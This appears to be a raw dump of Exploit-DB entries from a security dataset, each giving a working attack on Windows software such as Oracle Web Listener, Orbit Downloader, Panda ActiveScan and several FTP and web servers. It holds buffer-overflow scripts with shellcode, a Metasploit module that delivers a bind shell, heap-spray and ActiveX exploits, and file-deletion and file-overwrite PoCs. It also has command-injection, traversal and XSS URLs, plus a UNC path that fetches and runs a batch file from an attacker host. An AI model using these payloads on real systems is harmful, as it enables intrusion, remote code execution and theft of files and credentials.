deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19809
Description: Oracle Web Listener 4.0.x - for NT Batch File
Type: remote
Platform: windows
Date: 2000-03-15
Author: Cerberus Security Team

Exploit:
source: https://www.securityfocus.com/bid/1053/info

Oracle Web Listener for NT makes use of various batch files as cgi scripts, which are stored in the /ows-bin/ directory by default. 

Any of these batch files can be used to run arbitrary commands on the server, simply by appending '?&' and a command to the filename. The command will be run at the SYSTEM level. The name of a batch file is not even neccessary, as it will translate the '*' character and apply the appended string to every batch file in the directory. Moreover, UNC paths can be used to cause the server to download and execute remote code.

http: //target/ows-bin/*.bat?&\\attacker\getadmin.bat
Exploit-DB #50688
Description: Oracle WebLogic Server 14.1.1.0.0 - Local File Inclusion
Type: remote
Platform: windows
Date: 2022-01-27
Author: Jonah Tan

Exploit:
# Exploit Title: Oracle WebLogic Server 14.1.1.0.0 - Local File Inclusion
# Date: 25/1/2022
# Exploit Author: Jonah Tan (@picar0jsu)
# Vendor Homepage: https://www.oracle.com
# Software Link:
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
# Version: 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0
# Tested on: Windows Server 2019
# CVE : CVE-2022-21371

# Description
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion
Middleware (component: Web Container).
Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
and 14.1.1.0.0.
Easily exploitable vulnerability allows unauthenticated attacker with
network access via HTTP to compromise Oracle WebLogic Server.
Successful attacks of this vulnerability can result in unauthorized access
to critical data or complete access to all Oracle WebLogic Server
accessible data.

# PoC
GET .//META-INF/MANIFEST.MF
GET .//WEB-INF/web.xml
GET .//WEB-INF/portlet.xml
GET .//WEB-INF/weblogic.xml
Exploit-DB #21121
Description: Oracle9iAS Web Cache 2.0 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2001-10-18
Author: andreas

Exploit:
source: https://www.securityfocus.com/bid/3443/info

A buffer overflow condition can be triggered in Oracle 9iAS Web Cache 2.0.0.1.0 by submitting a malicious URL. This overflow can lead to either the process exiting, the process hanging, or the injection of malicious code. This occurs on all four services provided by Web Cache.

While this vulnerability has been addressed in Oracle 91AS Web Cache 2.0.0.2.0, it has been reported that versions for Microsoft Windows NT are still vulnerable.

#!perl
#########################################################################
#
# Proof-of-concept exploit for Oracle9iAS Web Cache/2.0.0.1.0
# Creates the file c:\defcom.iyd
# By andreas@defcom.com (C)2001
#
#
# Since we do not control the space after what ESP points to, I was lazy
# and did a direct buffer jump. So, if it does not work, try changing
# the return address(start of buffer in mem) to one that fits your system.
# The buffer starts at 0x05c5f1e8 on my box(WIN2K prof SP2).
# /andreas
#
#########################################################################
$ARGC=@ARGV;
if ($ARGC !=1) {
        print "Usage: $0 <host>\n";
        print "Example: $0 127.0.0.1\n";
        exit;
}
use Socket;

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port = "1100"; # default port for the web cache

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";

$sploit = "\xeb\x03\x5a\xeb\x05\xe8\xf8\xff\xff\xff\x8b\xec\x8b\xc2\x83\xc0\x18\x33\xc9";
$sploit=$sploit . "\x66\xb9\xb3\x80\x66\x81\xf1\x80\x80\x80\x30\x99\x40\xe2\xfa\xaa\x59";
$sploit=$sploit . "\xf1\x19\x99\x99\x99\xf3\x9b\xc9\xc9\xf1\x99\x99\x99\x89\x1a\x5b\xa4";
$sploit=$sploit . "\xcb\x27\x51\x99\xd5\x99\x66\x8f\xaa\x59\xc9\x27\x09\x98\xd5\x99\x66";
$sploit=$sploit . "\x8f\xfa\xa3\xc5\xfd\xfc\xff\xfa\xf6\xf4\xb7\xf0\xe0\xfd\x99";
$msg = "GET " . $sploit . "\x90" x (3096 - length($sploit)) . "\xe8\xf1\xc5\x05" . " HTTP/1.0\n\n";
print $msg;
send(SOCK, $msg, 0) or die "Cannot send query: $!";
sleep(1);
close(SOCK);
exit;
Exploit-DB #16569
Description: Orbit Downloader - Connecting Log Creation Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: orbit_connecting.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Orbit Downloader Connecting Log Creation Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Orbit Downloader 2.8.4. When an
				attacker serves up a malicious web site, abritrary code may be executed.
				The PAYLOAD windows/shell_bind_tcp works best.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2009-0187' ],
					[ 'OSVDB', '52294' ],
					[ 'BID', '33894' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 750,
					'BadChars'      => "\x00\x09\x0a\x0d'\\&",
					'StackAdjustment' => -3500,
					'PrependEncoder'  => "\x81\xc4\x54\xf2\xff\xff",
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
					'DisableNops'  =>  'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP3 / IE 6.0 SP0-SP2',  { 'Ret' => 0x1008dee3 } ], # download.dll 2.7.0.6
				],
			'DisclosureDate' => 'Feb 3 2009',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	  = rand_text_alpha(rand(100) + 1)
		strname = rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		sploit = "http://" + rand_text_alpha(508) + [target.ret].pack('V') + p.encoded + ".com"

		# Build out the message
		content = %Q|<html>
<object classid='clsid:3F1D494B-0CEF-4468-96C9-386E2E4DEC90' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.download(#{strname}, #{vname}, #{vname}, #{vname}, 1);
</script>
</html>
|

		content = Rex::Text.randomize_space(content)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #8118
Description: Orbit Downloader 2.8.4 - 'Hostname' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-02-27
Author: JavaGuru

Exploit:
<html>
<body>

Orbit <=2.8.4 Long Hostname Buffer Overflow Vulnerability Poc<br />
Vulnerability discovered by Secunia<br />
Exploit and POC provided by: JavaGuru<br />
<br />
Right click on link below then choose download by orbit, CALC.EXE will pop up<br />
<br />
I got a lot of problems when trying to execute shellcode, because a lot of chars<br />
was forbidden and I was not able to execute shellcode.<br />
After playing a little I found out the solution.<br />
<br />
Don't forget, open this HTML in Firefox
<br />
Check it out.<br />
<br />
Any questions/comments: JavaGuru1999@yahoo.de<br />
<br />
<script language="JavaScript">
var tmp = "http://";

for (i=0;i<508;i++) tmp +="%6F";

// jmp esp from kernel32.dll XP SP 3 English
// 
tmp += "%7B%46%86%7C";

// some nops
tmp += "%90%90%90%90";

// win32_exec -  EXITFUNC=process CMD=calc.exe Size=424 Encoder=Alpha2 http://metasploit.com
// forbidden chars - 0x00 0x01 0x02 0x03
tmp += "%eb%59%59%59%59%eb%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%e8%a4%ff%ff%ff%37%49%49%49%49%49%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%67%58%50%30%42%31%41%42%6b%42%41%77%32%42%42%32%41%41%30%41%41%58%42%50%38%42%42%75%6d%39%49%6c%4b%58%37%34%43%30%33%30%77%70%6e%6b%73%75%55%6c%6e%6b%61%6c%66%65%50%78%54%41%4a%4f%6c%4b%62%6f%56%78%4c%4b%51%4f%45%70%55%51%7a%4b%31%59%6e%6b%36%54%4c%4b%53%31%6a%4e%45%61%4f%30%5a%39%4c%6c%6e%64%49%50%34%34%55%57%6a%61%4b%7a%66%6d%35%51%6b%72%6a%4b%6c%34%55%6b%41%44%44%64%76%64%73%45%5a%45%4c%4b%73%6f%57%54%47%71%6a%4b%30%66%6c%4b%74%4c%30%4b%6c%4b%53%6f%37%6c%47%71%5a%4b%6e%6b%77%6c%6c%4b%34%41%4a%4b%4b%39%51%4c%44%64%54%44%7a%63%37%41%4f%30%41%74%6c%4b%43%70%76%50%4c%45%4f%30%30%78%66%6c%6c%4b%37%30%64%4c%6c%4b%30%70%65%4c%6c%6d%4c%4b%43%58%36%68%78%6b%75%59%6e%6b%6f%70%4e%50%55%50%55%50%55%50%4e%6b%75%38%55%6c%43%6f%46%51%79%66%63%50%70%56%4c%49%6c%38%6b%33%6f%30%61%6b%32%70%71%78%61%6e%6b%68%7a%42%43%43%71%78%5a%38%6b%4e%6d%5a%76%6e%70%57%69%6f%6d%37%72%43%55%31%30%6c%70%63%76%4e%70%65%72%58%50%65%73%30%67";

// Filename (not important)
tmp += "/a.rar";

// Write link for download for orbit!
document.write ('<a href="' + tmp + '">Right click, then choose download with orbit</a>');


</script>
</body>
</html>

# milw0rm.com [2009-02-27]
Exploit-DB #8257
Description: Orbit Downloader 2.8.7 - Arbitrary File Deletion
Type: remote
Platform: windows
Date: 2009-03-23
Author: waraxe

Exploit:
[waraxe-2009-SA#073] - Arbitrary File Deletion in Orbit Downloader <= 2.8.7
===============================================================================

Author: Janek Vind "waraxe"
Date: 21. March 2009
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-73.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Orbit Downloader, leader of download manager revolution, is devoted to new
generation web (web2.0) downloading, such as video/music/streaming media from
Myspace, YouTube, Imeem, Pandora, Rapidshare, support RTMP. And to make general
downloading easier and faster.

http://www.orbitdownloader.com/


List of found vulnerabilities
===============================================================================

1. Arbitrary File Deletion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CLSID: {3F1D494B-0CEF-4468-96C9-386E2E4DEC90}
ProgID: Orbitmxt.Orbit
Executable: orbitmxt.dll
File Version: 2.1.0.2

Tested on following platforms:

1. Windows XP Pro SP3/IE 6 SP1
2. Windows Vista Ultimate 64-bit SP1/IE 7

In both cases IE security settings were default for Internet Zone.
Exploitation tests ended successfully without any warnings or other interaction
from Internet Explorer.

Proof Of Concept:

<html><head>
<title>Orbit Downloader &lt;= 2.8.7 Arbitrary File Deletion PoC by waraxe</title>
<script>
function test()
{
	waraxe.download('','','" /Lc:\\test.txt "','',1);
}
</script>
</head><body>
<object
id="waraxe" name="waraxe"
classid="CLSID:3F1D494B-0CEF-4468-96C9-386E2E4DEC90"
width="50" height="50">
</object>
<br><center>
<button onclick="javascript:test();">  Test  </button>
</body></html>

For testing first create "test.txt" file to the C: root dir and
then use IE and hit test button. "test.txt" should be deleted for now  :) 


Disclosure Timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

03/04/09 Developer contacted
03/04/09 Developer's initial response
03/04/09 Findings sent to developer
03/18/09 New version 2.8.7 released, no fix for specific issue!
03/21/09 Public disclosure


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, mge, str0ke,
to all active waraxe.us forum members and to anyone else who know me!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum:  http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
---------------------------------- [ EOF ] ------------------------------------

# milw0rm.com [2009-03-23]
Exploit-DB #20896
Description: OReilly Software WebBoard 4.10.30 - Pager Hostile JavaScript
Type: remote
Platform: windows
Date: 2001-06-02
Author: Helmuth Antholzer

Exploit:
source: https://www.securityfocus.com/bid/2814/info

O'Reilly WebBoard is a conferencing utility, forum, threaded discussion and real-time chat server.

Versions of WebBoard are vulnerable to a JavaScript code execution bug which may allow a remote denial of service against a target WebBoard user's system.

An attacker can compose a message in WebBoard's interactive messaging (paging) function, containing certain escape characters and JavaScript commands, and send the page to a target user. Upon receiving the message, the target client will improperly execute the JavaScript embedded in the page, which could result in the appearance of multiple message windows.

WebBoard is no longer supported by O'Reilly, it is currently maintained by ChatSpace, Inc. 

An example of malicious javascript:

\');for(i=0;i<100000;i++) alert("not nice"); /
Exploit-DB #20687
Description: OReilly Software WebSite Professional 2.5.4 - Path Disclosure
Type: remote
Platform: windows
Date: 2001-03-16
Author: Roberto Moreno

Exploit:
source: https://www.securityfocus.com/bid/2488/info

Requesting a specially crafted URL to a machine running O'Reilly & Associates Website Professional, will disclose the physical path to the root directory. 

www.example.com/:/
Exploit-DB #5153
Description: Ourgame GLWorld 2.x - 'hgs_startNotify()' ActiveX Buffer Overflow
Type: remote
Platform: windows
Date: 2008-02-19
Author: luoluo

Exploit:
<%@ LANGUAGE = JavaScript %>
<%

var act=new ActiveXObject("HanGamePluginCn18.HanGamePluginCn18.1");

//run calc.exe
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

var bigblock = unescape("%u9090%u9090");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<300; x++) memory[x] = block + shellcode;

var buffer = '';

while (buffer.length < 1319) buffer+="A";

buffer=buffer+"\x0a\x0a\x0a\x0a"+buffer;

act.hgs_startNotify(buffer);

%>

# milw0rm.com [2008-02-19]
Exploit-DB #36376
Description: Oxide WebServer - Directory Traversal
Type: remote
Platform: windows
Date: 2011-11-29
Author: demonalex

Exploit:
source: https://www.securityfocus.com/bid/50845/info

Oxide WebServer is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the webserver. Information harvested may aid in launching further attacks. 

http://www.example.com/..\..\..\boot.ini
http://www.example.com/..\\..\\..\\boot.ini
http://www.example.com/..\/..\/..\/boot.ini
http://www.example.com//..\/..\/..\boot.ini
http://www.example.com/.\..\.\..\.\..\boot.ini
Exploit-DB #22691
Description: pablo software Solutions baby ftp server 1.2 - Directory Traversal
Type: remote
Platform: windows
Date: 2003-05-29
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/7749/info

It has been reported that Baby FTP Server does not properly handle some types of requests. This may make it possible for a remote user to gain access to resources outside of the FTP root directory. 

CWD ...
CWD /...
CWD /......
CWD \...
CWD ...CWD .../
Exploit-DB #22721
Description: Pablo Software Solutions FTP Service 1.2 - Anonymous Users Privileges
Type: remote
Platform: windows
Date: 2003-06-03
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/7799/info

An issue in Pablo FTP Service may make it possible for remote users to perform unauthorized actions.

It has been reported that Pablo FTP Service does not sufficiently restrict the anonymous user account, which is active by default. Because of this, a default configuration may provide a conduit for the disclosure of potentially sensitive information.

An attacker may exploit this vulnerability to access arbitrary files on the underlying system and potentially disclose sensitive information.

It should be noted that while this vulnerability has been reported to affect Pablo FTP service version 1.2, other versions might also be affected. 

ftp://www.example.com/windows/repair/sam
Exploit-DB #22722
Description: Pablo Software Solutions FTP Service 1.2 - Plaintext Password
Type: remote
Platform: windows
Date: 2003-06-03
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/7801/info

It has been reported that Pablo FTP Service stores FTP User account passwords in plaintext format. As a result, these credentials could be exposed to other users.

It should be noted that while this weakness has been reported to affect Pablo FTP service version 1.2, other versions might also be affected. 

ftp://www.example.com/program files/pablo's ftp service/users.dat
Exploit-DB #19957
Description: Pacific Software Carello 1.2.1 - File Duplication / Source Disclosure
Type: remote
Platform: windows
Date: 2000-05-24
Author: Cerberus Security Team

Exploit:
source: https://www.securityfocus.com/bid/1245/info

A remote user can gain read and write access on a target machine running Carello shopping cart software.

First, a user may create a duplicate of a known file in a known directory on the target host through add.exe in /scripts/Carello. Accessing http://target/scripts/Carello/add.exe?C:\directory\filename.ext will generate a duplicate file with a "1" appended to the filename (eg. filename.ext1). From here, the remote user would perform a http request of the newly created duplicate file and be able to view the contents of it.

This vulnerability depends on the anonymous internet account having write access to the relevant directories. 

http://target/scripts/Carello/add.exe?C:\directory\filename.ext
Exploit-DB #20850
Description: Pacific Software Carello 1.2.1 Shopping Cart - Command Execution
Type: remote
Platform: windows
Date: 2001-05-14
Author: Peter GrÃ¼ndl

Exploit:
source: https://www.securityfocus.com/bid/2729/info

It is possible for a remote user to execute arbitrary commands on a host using Carello Shopping Cart software. A specially crafted HTTP request could cause inetinfo.exe to consume all available system resources, refusing any new connections. If arbitrary code is part of the HTTP request, it will be executed with the privileges of the web server.

http://foo.org/scripts/Carello/Carello.dllCARELLOCODE=SITE2&VBEXE=C:\..\winnt\system32\cmd.exe20/c20echo20test>c:\defcom.txt
Exploit-DB #19568
Description: Pacific Software URL Live! 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 1999-10-28
Author: UNYUN

Exploit:
source: https://www.securityfocus.com/bid/746/info

The URL Live! free webserver from Pacific software is susceptible to the "../" directory traversal vulnerability. By using the '../' string in a URL, an attacker can gain read access to files outside the intended web file structure. 

Example:
http ://xyz.com/../../../config.sys
Exploit-DB #28373
Description: Panda ActiveScan 5.53 - 'Ascan_6.asp' ActiveX Control Cross-Site Scripting
Type: remote
Platform: windows
Date: 2006-08-10
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/19471/info

Panda ActiveScan is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Panda ActiveScan version 5.53.00 is affected by this issue; other versions may also be affected.

This BID is being retired because the application is a service and cannot be downloaded.

http://www.example.com/activescan/activescan/ascan_6.asp?IdLang=2&Idvendor=17490&Idpais=63&email=Lostmon@gmail.com%22%3E%3Cscript%3Ealert%28%27XSS%20Vulnerability%27%29%3C/script%3E%26&pais=62&provincia=9&tipousuario=0&enviar=1&ode=0#
Exploit-DB #6004
Description: Panda Security ActiveScan 2.0 (Update) - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-07-04
Author: Karol Wiesek

Exploit:
Author:  	Karol Wiesek <karol [at] wiesek {dizd0t} pl>
Homepage:	http://karol.wiesek.pl/

There exists two vulnerabilities in Panda Security ActiveScan 2.0 Update function.
1) typical overflow ( this exploit )
2) Update function allows to install any ( attacker suplied ) CABinet into victims system

Panda Security have not respond in any manner, thus i have no information of any patches, plans for patching ...

* UPDATE * 

Panda has patched newest version, so update will not connect to custom ( attacker supplied ) URL.

Exploit:
http://karol.wiesek.pl/files/panda.tgz
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6004.tgz (2008-panda.tgz)

# milw0rm.com [2008-07-04]
Exploit-DB #28512
Description: paul smith computer services vcap Calendar server 1.9 - Directory Traversal
Type: remote
Platform: windows
Date: 2009-09-12
Author: securma massine

Exploit:
source: https://www.securityfocus.com/bid/19958/info

vCAP Calendar Server is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks. 

vCAP Calendar Server 1.9.0 Beta and prior versions are vulnerable to this issue.

http://www.example.com:6100/../Data/vCAP.db
Exploit-DB #4526
Description: PBEmail 7 - ActiveX Edition Insecure Method
Type: remote
Platform: windows
Date: 2007-10-12
Author: Katatafish

Exploit:
<pre>
<b>Found by</b>: Katatafish (karatatata{at}hush{dot}com)
<b>software</b>:PBEmail 7 ActiveX Edition
<b>Vendor:</b> http://www.perfectionbytes.com
<b>vulnerability</b>: Insecure method
SaveSenderToXml(XmlFilePath: BSTR); stdcall; in PBEmail7Ax.dll
<b>Tested on Internet explorer 7 with Windows XP SP 2.</b>
<b>Thanks:</b> str0ke

</pre>

<object classid="clsid:30C0FDCB-53BE-4DB3-869D-32BF2DAD0DEC" 
id="kat"></object>	
<script language="vbscript">
  kat.SaveSenderToXml "C:\WINDOWS\system.ini"
  MyMsg = MsgBox ("Done! Your C:\WINDOWS\system.ini file should now 
be overwriten.")
</script>

# milw0rm.com [2007-10-12]